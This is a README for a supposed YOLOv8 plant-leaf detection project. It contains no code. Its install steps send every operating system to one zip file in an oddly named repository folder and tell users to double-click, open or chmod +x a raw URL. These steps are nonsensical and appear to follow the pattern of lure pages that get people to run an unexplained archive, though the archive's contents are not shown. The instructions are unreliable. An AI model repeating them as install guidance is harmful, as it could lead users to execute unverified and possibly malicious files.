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🌿 Detect and classify plant leaves in real-time using YOLOv8, enhancing crop health and productivity through early disease identification.

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🌱 Plant-Detection-using-YOLOv8 - Detect and Classify Plant Leaves Easily

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πŸš€ Getting Started

Welcome to Plant-Detection-using-YOLOv8! This project helps you detect and classify plant leaves in real time. It identifies healthy and diseased plants to support smart agriculture solutions.

πŸ“‹ Requirements

Before you begin, ensure your system meets these requirements:

  • Operating System: Windows 10 or later / macOS 10.15 or later / Linux
  • Processor: Intel i5 or equivalent
  • RAM: At least 8 GB
  • Graphics: NVIDIA GeForce GTX 1050 or equivalent (for optimal performance)
  • Storage: 500 MB of free space

πŸ’» Installation Steps

Follow these steps to download and run the application:

  1. Visit the Releases Page
    Click the link below to go to the Releases page.
    Download Here

  2. Choose the Latest Version
    Once you are on the Releases page, find the latest version of the application.

  3. Download the Application
    Click on the appropriate link for your operating system:

    • For Windows, download https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip.
    • For macOS, download https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip.
    • For Linux, download https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip.
  4. Install the Application

    • Windows: Double-click https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip and follow the prompts to install.
    • macOS: Open https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip, drag the app to your Applications folder.
    • Linux: Make the file executable using chmod +x https://raw.githubusercontent.com/manohargoud-cmd/Plant-Detection-using-YOLOv8/main/suist/Plant-Detection-using-YOLOv8.zip in the terminal, then run it.
  5. Run the Application
    After installation, find the application in your programs or applications list. Open it to start detecting and classifying plant leaves.

🌟 Features

  • Real-time Detection: Instantly recognize healthy and diseased plant leaves.
  • User-Friendly Interface: Simple and straightforward design for any user.
  • Supports Multiple Plants: Detect a wide variety of plant species.
  • Efficient Identification: Quickly classify plants with high accuracy.

βš™οΈ Usage

  1. Setup Your Camera: Ensure your camera is connected and set at a suitable angle to capture plant leaves.
  2. Launch the Application: Open the application you installed.
  3. Select Camera Input: Choose your camera from the settings menu.
  4. Start Detection: Click on "Start" to begin detecting plant leaves.
  5. View Results: See real-time results on the screen as the application identifies and classifies the plants.

πŸ“₯ Download & Install

To get started with Plant-Detection-using-YOLOv8, visit this page to download. Choose the latest version available for your operating system, then follow the installation steps above.

πŸŽ‰ Contribute

We welcome contributions! If you want to help improve the project, please follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or fix.
  3. Make your changes.
  4. Submit a pull request with a clear description of your updates.

πŸ“ž Support

If you have any questions or need help, please reach out to our support team through the GitHub Issues page. We are happy to assist you!

πŸ”— Learn More

Explore more about YOLOv8 and its applications in plant detection through the following resources:

We hope you find Plant-Detection-using-YOLOv8 helpful in your plant identification journey!